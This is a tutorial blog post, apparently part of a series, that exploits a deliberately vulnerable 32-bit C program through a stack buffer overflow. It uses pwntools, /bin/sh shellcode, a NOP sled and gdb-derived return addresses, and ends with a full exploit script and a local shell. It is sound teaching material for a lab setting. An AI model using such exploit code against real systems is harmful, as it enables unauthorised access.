Hi everyone, following part 1, part 2, I will exploit buffer overflow error to get shell using python3’s pwntools library. Below is the C code of the previous mining program.
1 2 3 4 5 6 7 8 9 | #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ char array[64]; if(argc>1) strcpy(array, argv[1]); } |
You compile the program with the following code (part 1):
1 2 | gcc -m32 -z execstack -mpreferred-stack-boundary=2 -fno-stack-protector victim.c -o victim |
1. Introduction to the pwntools library
- How to install on python3
1 2 3 4 5 | $ apt-get update $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential $ python3 -m pip install --upgrade pip $ python3 -m pip install --upgrade pwntools |
You can read more about the library here: https://docs.pwntools.com/en/stable/install.html
- Some basic functions:
Packing, unpacking string:
- p32(), p64(): packing 32bits and 64bits, ex:
p32(0xdeadbeef) = b"xefxbexadxde"
- u32(), u64(): unpacking 32bits and 64bits, ex:
hex(u32( b"xefxbexadxde")) = 0xdeadbeef
Assemble and disassemble code:
- asm(): Ex:
asm('nop') = b'x90'
- disasm(): Ex:
disasm(b'x8bx45xfc') = 0: 8b 45 fc mov eax, DWORD PTR [ebp - 0x4]
2. Get the shell with pwntools and shellcode
I have shellcode to create a shell as follows:
1 2 3 4 | shellcode[]= "xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46" "x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1" "xffxffxffx2fx62x69x6ex2fx73x68" |
In this series I will guide you to write your own shellcode, but not in this article.
Exploiting:
As mentioned in the previous post, after using gdb to debug, we calculate the number of bytes to add to the buffer to control the return pointer (eip) in the stack:
số bytes = 64 bytes array + 4 bytes ebx + 4 bytes ebp + 4 bytes eip = 76 bytes
First, I calculate the number of bytes of shellcode using printf and wc:
1 2 3 4 | ┌──(kali㉿kali)-[~] └─$ printf "xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x69x6ex2fx73x68" | wc -c 40 |
So the shellcode is 40 bytes long. Then I create a file exploit.py to exploit:
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * context.update(os = 'linux', arch='i386') #set os linux 32bits shellcode = b"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x69x6ex2fx73x68" #40 bytes eip = p32() nops = b'x90'*(76 - len(shellcode)- len(eip)) payload = nops + shellcode + eip p = process(["./victim", payload]) p.interactive() |
However, we have a problem, which is the return address (return address needs to be calculated, pointing to the beginning of the shellcode (or pointing to nop)). Talking a little about nop, is a “do nothing” command, when encountered this command, will simply slide to the next command.
If we use gdb to debug, we can know the starting address of the buffer, but this address and the running address in our python program are different, because of the different running environment. So I use the C program below to calculate the command level between gdb and python.
find_start.c
1 2 3 4 5 6 7 8 9 10 11 | // find_start.c unsigned long find_start(void) { __asm__("movl eax, esp"); } int main() { printf("0x%xn",find_start()); } |
Compile the program: gcc -m32 find_start.c -o find_start
- Calculate find_start in gdb: Open gdb victim, create breakpoint and run the program as follows:
1 2 3 4 | gef➤ b *main Breakpoint 1 at 0x118d gef➤ r ./find_start |
So the program will run with the argument ./find_start, we need to know the value of find_start stored in the stack. Proceed to disassemble main. We get:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | gef➤ disassemble main Dump of assembler code for function main: => 0x5655618d <+0>: push ebp 0x5655618e <+1>: mov ebp,esp 0x56556190 <+3>: push ebx 0x56556191 <+4>: sub esp,0x40 0x56556194 <+7>: call 0x565561c5 <__x86.get_pc_thunk.ax> 0x56556199 <+12>: add eax,0x2e5b 0x5655619e <+17>: cmp DWORD PTR [ebp+0x8],0x1 0x565561a2 <+21>: jle 0x565561bb <main+46> 0x565561a4 <+23>: mov edx,DWORD PTR [ebp+0xc] 0x565561a7 <+26>: add edx,0x4 0x565561aa <+29>: mov edx,DWORD PTR [edx] 0x565561ac <+31>: push edx 0x565561ad <+32>: lea edx,[ebp-0x44] 0x565561b0 <+35>: push edx 0x565561b1 <+36>: mov ebx,eax 0x565561b3 <+38>: call 0x56556040 <strcpy@plt> 0x565561b8 <+43>: add esp,0x8 0x565561bb <+46>: mov eax,0x0 0x565561c0 <+51>: mov ebx,DWORD PTR [ebp-0x4] 0x565561c3 <+54>: leave 0x565561c4 <+55>: ret End of assembler dump. |
Notice the function strcpy@plt at 0x565561b3. Create a breakpoint right after to see the result, because find_start is copied to the buffer.
1 2 3 | gef➤ b *0x565561b8 Breakpoint 2 at 0x565561b8 |
Continuing to run the program, we get the following results in the stack:
1 2 3 4 5 6 7 8 9 | 0xffffd08c│+0x0000: 0xffffd094 → "./find_start" ← $esp 0xffffd090│+0x0004: 0xffffd381 → "./find_start" 0xffffd094│+0x0008: "./find_start" 0xffffd098│+0x000c: "nd_start" 0xffffd09c│+0x0010: "tart" 0xffffd0a0│+0x0014: 0xf7fc3100 → 0x00000000 0xffffd0a4│+0x0018: 0xf7fda60c → mov edi, eax 0xffffd0a8│+0x001c: 0xf7c183e9 → "_dl_audit_preinit" |
So in gdb ./find_start = 0xffffd094
Next, slightly modify the python program to print the find_start result:
1 2 3 4 5 6 | from pwn import * context.update(os = 'linux', arch='i386') #set os linux 32bits p = process(["./find_start"]) print(p.readline().strip()) |
The following results:
1 2 3 4 5 | $ python3 exploit.py [+] Starting local process './find_start': pid 93783 [*] Process './find_start' stopped with exit code 0 (pid 93783) b'0xffffd138' |
So ./find_start in python is 0xffffd138 => The command between the 2 environments is: python - gdb = 0xffffd138 - 0xffffd094 = 164
=> python = gdb + 164
Next, debugging with gdb we found the start of the shellcode by running the program with 76 bytes of input. r python2 -c 'print("A"*76)'
1 2 3 4 5 6 | 0xffffd054: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd064: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd074: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd084: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd094: 0x41414141 0x41414141 0x41414141 0x00000000 |
So the result in gdb is 0xffffd054 => Ok, we have the complete python program as follows:
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * context.update(os = 'linux', arch='i386') #set os linux 32bits shellcode = b"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x69x6ex2fx73x68" #40 bytes eip = p32(0xffffd054 + 164) nops = b'x90'*(76 - len(shellcode)- len(eip)) payload = nops + shellcode + eip p = process(["./victim", payload]) p.interactive() |
Result received:
1 2 3 4 5 6 7 8 9 | $ python3 exploit.py [+] Starting local process './victim': pid 97030 [*] Switching to interactive mode $ ls core exploit.py find_start find_start.c victim victim.c $ whoami kali $ |
So we have 1 shell. In the next part, I will show you how to get a shell with a small buffer, not enough to contain the input shell.